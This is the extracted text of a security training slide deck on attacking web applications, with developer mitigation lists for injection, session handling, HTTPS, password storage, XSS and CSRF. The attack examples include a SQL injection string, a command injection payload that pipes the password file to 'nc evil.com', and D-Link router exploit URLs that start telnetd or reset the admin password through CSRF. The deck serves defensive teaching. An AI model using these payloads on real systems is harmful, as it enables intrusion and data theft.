Attacking Web Applications - Sasha Goldshtein CTO, Sela Group blog.sashag.net @goldshtn
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Attacking Web
Applications
Sasha Goldshtein
CTO, Sela Group
blog.sashag.net
@goldshtn
Every web developer must be aware of the most common
web attacks, risks, and mitigations.
Don’t fly blind.
Sasha Goldshtein
@goldshtn
Typical Risks
! Exposure of user information
- Passwords, emails, identity theft
! Direct financial gain
- Credit card details
! Creating a botnet
- Using servers/user systems for malicious activity
! Denial of service
! Some serious damage™
- Considering that more and more embedded systems serve stuff over HTTP
Sasha Goldshtein
@goldshtn
Are They Really After Me?
1. They could be, if you’re important.
2. They are after your users.
3. They are after your servers.
4. They found you randomly on the web.
Sasha Goldshtein
@goldshtn
OWASP Top Ten
1. Injection
2. Broken auth and session management
3. Cross-site scripting
4. Insecure direct object references
5. Security misconfiguration
6. Sensitive data exposure
7. Missing function level access control
8. Cross-site request forgery
9. Using vulnerable components
10.Unvalidated redirects and forwards
Sasha Goldshtein
@goldshtn
SQL Injection
db.ExecuteReader("select!*!from!users!where!(name='"!
!+!Request["user"]!+!"')!and!(password='"!+!Request["password"]!+!"')");
! Suppose the user request parameter is …
!'!or!'1'='1!
! Then the query we execute is …
select!*!from!users!where!(name=''!or!'1'='1')!and!(password='whatever')!
Sasha Goldshtein
@goldshtn
Sasha Goldshtein @goldshtn
OS Command Injection
! Suppose we’re too lazy to perform DNS lookup, so we resort to the following:
system("nslookup!"!+!Request["hostname"]);
! Suppose the hostname parameter is …
!foo!||!cat!/etc/password!|!nc!evil.com
! Then we end up sending the password file to evil.com!
! Most recent noisy exploit 10/9/2013 in DLink DIR-505 router firmware:
!request=ping_test&ip_addr=127.0.0.1;!/usr/sbin/telnetd;!
Sasha Goldshtein
@goldshtnDEMO
SQL injection and OS command injection
Sasha Goldshtein
@goldshtnMitigating Injections
! DO NOT trust user input
! DO NOT run code provided by the user
! DO NOT use blacklists for validation
! DO use SQL query parameters (?, @param, :param)
! DO use whitelists and regexes for validation
! DO fuzz your code with invalid input
Sasha Goldshtein
@goldshtnSessions and Cookies
! Most web applications today store sensitive user data in cookies
! At the very least, the session identifier is stored in a cookie
- Cookies are tasty
! Don’t store anything else in cookies and don’t trust them
- What if the client sends you:
Cookie:!username=dave;permissions=admin!
Sasha Goldshtein
@goldshtnDEMO
Exploiting vulnerable session information
Sasha Goldshtein
@goldshtnSessions and URLs
• DO NOT embed session id in URLs
• DO NOT trust cookie contents
• DO NOT trust URL query string contents
http://example.com/delete_account.php?account_name=sasha
• DO NOT use predictable session ids
!http://example.com/cart.php?sess=127
• DO use a Secure, HttpOnly cookie for session id
• DO use long, random session ids
Sasha Goldshtein
@goldshtnHTTP and HTTPS
! Surprisingly many web applications still use HTTP to transmit sensitive information
! Your HTTP traffic is freely available to:
- Your Starbucks barista
- Your family members
- Your ISP
- Your boss
! As a developer, you are responsible for your users sensitive information
Sasha Goldshtein
@goldshtnDEMO
Manipulating HTTP traffic
Sasha Goldshtein
@goldshtnYou Have Been Pineappled
! WiFi Pineapple is a mobile pentesting device
- ARM SOC, RAM, internal storage, USB storage, WiFi, Ethernet, 3G modem support
! Karma mode i F i ? !
om e W
Kat i eH
t h i s the
Is
Is this the Starbucks WiFi?! Sure!
Is this
the JF
KAirp
ort W
iF i?!
Sasha Goldshtein
@goldshtnDroidSheep and zANTI
Sasha Goldshtein
@goldshtnUse HTTPS Correctly
! DO NOT send sensitive information over HTTP
! DO NOT display login pages over HTTP
! DO NOT load HTTP frames/scripts/images in an otherwise HTTPS page
! DO insist on pure HTTPS for sensitive pages
! DO use Secure cookies for sensitive data (reminder)
And, as a user:
! DO NOT connect to unsecured Wi-Fi networks (like “Free WiFi” or “Fluent”)
! DO use a VPN in insecure environments
Sasha Goldshtein
@goldshtnStoring Sensitive Information
! DO NOT store anything you don’t have to store
- Least responsibility principle
! DO comply with regulation for secure storage
- E.g. if you store credit card details, you’re in for some pain
Sasha Goldshtein
@goldshtnDEMO
Rainbow tables and weak passwords
Sasha Goldshtein
@goldshtnhttp://haveibeenpwned.com by Troy Hunt
Sasha Goldshtein
@goldshtn“Password” unseated by “123456” on SplashData’s annual
“Worst Passwords” list
1. 123456 14.letmein
2. password 15.photoshop
3. 12345678 16.1234
4. qwerty 17.monkey
5. abc123 18.shadow
6. 123456789 19.sunshine
7. 111111 20.12345
8. 1234567 21.password1
9. iloveyou 22.princess
10.adobe123 23.azerty
11. 123123 24.trustno1
12.admin 25.000000 Sasha Goldshtein
@goldshtn
13.1234567890Password Storage
! DO NOT store passwords in clear text
! DO NOT store encrypted passwords
! DO hash and salt passwords
! DO reject weak passwords during signup
! DO consider using OAuth
! DISCUSS which hash function to use
- Super-slow (bcrypt) – subject to DOS
- Super-fast (MD5, SHA1) – subject to cracking
Sasha Goldshtein
@goldshtnCross-Site Scripting (XSS)
• Injecting JavaScript into pages viewed by other users
– Cookie stealing, information disclosure
– DOM manipulation, tricking the user to like Facebook pages, phishing
– DDOS, bitcoin mining "
• Temporary XSS
!http://searchengine.com/?q=alert(1);
• Persistent XSS
– You provide data to the server which is then permanently displayed when users visit
Sasha Goldshtein
@goldshtnDEMO
Persistent and temporary XSS
Sasha Goldshtein
@goldshtnCross-Site Request Forgery (CSRF)
! Use the fact that the user is already authenticated to a website to generate requests on his
behalf
!!
! Interesting variation: use CSRF to login into YouTube with the attacker’s credentials; then,
Google history is stored into the attacker’s account
- “I used to know what you watched on YouTube”
Sasha Goldshtein
@goldshtnDEMO
Persistent and temporary XSS
Sasha Goldshtein
@goldshtn70 Ways To Encode <
Mitigating XSS and CSRF
! DO NOT trust user input (déjà vu?)
! DO NOT allow GETs to modify state
! DO NOT rely on blacklists
! DO escape and sanitize HTML provided by the user
! DO use whitelists or a non-HTML format like Markdown
! DO generate anti-CSRF tokens and validate them
! DO validate Referer headers
Sasha Goldshtein
@goldshtnAdmin Consoles
! DO NOT leave admin consoles exposed to the Internet
! DO NOT provide “extra helpful” troubleshooting info
Some auth
cookies… yum!
! DO restrict admin consoles to local network only
Sasha Goldshtein
! DO whitelist IP addresses if absolutely necessary @goldshtnDEMO
Locating admin consoles through Google
Sasha Goldshtein
@goldshtnDLink DIR-615 and DIR-300 Security Advisory
• OS command injection
http:///tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/
pingIp=1.1.1.1`telnetd`&pingIP=1.1.1.1!
• CSRF to change admin password and enable remote administration (Internet-facing)
http:///tools_admin.php?ACTION_POST=1&apply=Save
+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h
=0&rt_enable=on&rt_enable_h=1&rt_ipaddr=0.0.0.0&rt_port=8080!
!
• Information disclosure
http:///DevInfo.txt!
• Insecure password storage
$!cat!var/etc/httpasswd!
Sasha Goldshtein
admin:admin! @goldshtnSummary & Call To Action
! Be aware of security risks and typical vulnerabilities
! Ensure your developers get up to date security training
! Learn how to use the mitigation and prevention tools in your Web framework
! Review code for security, not just correctness
! If your web app is secure, attackers will try other routes
Sasha Goldshtein
@goldshtnThank You!
Sasha Goldshtein
CTO, Sela Group
blog.sashag.net
@goldshtnYou can also read
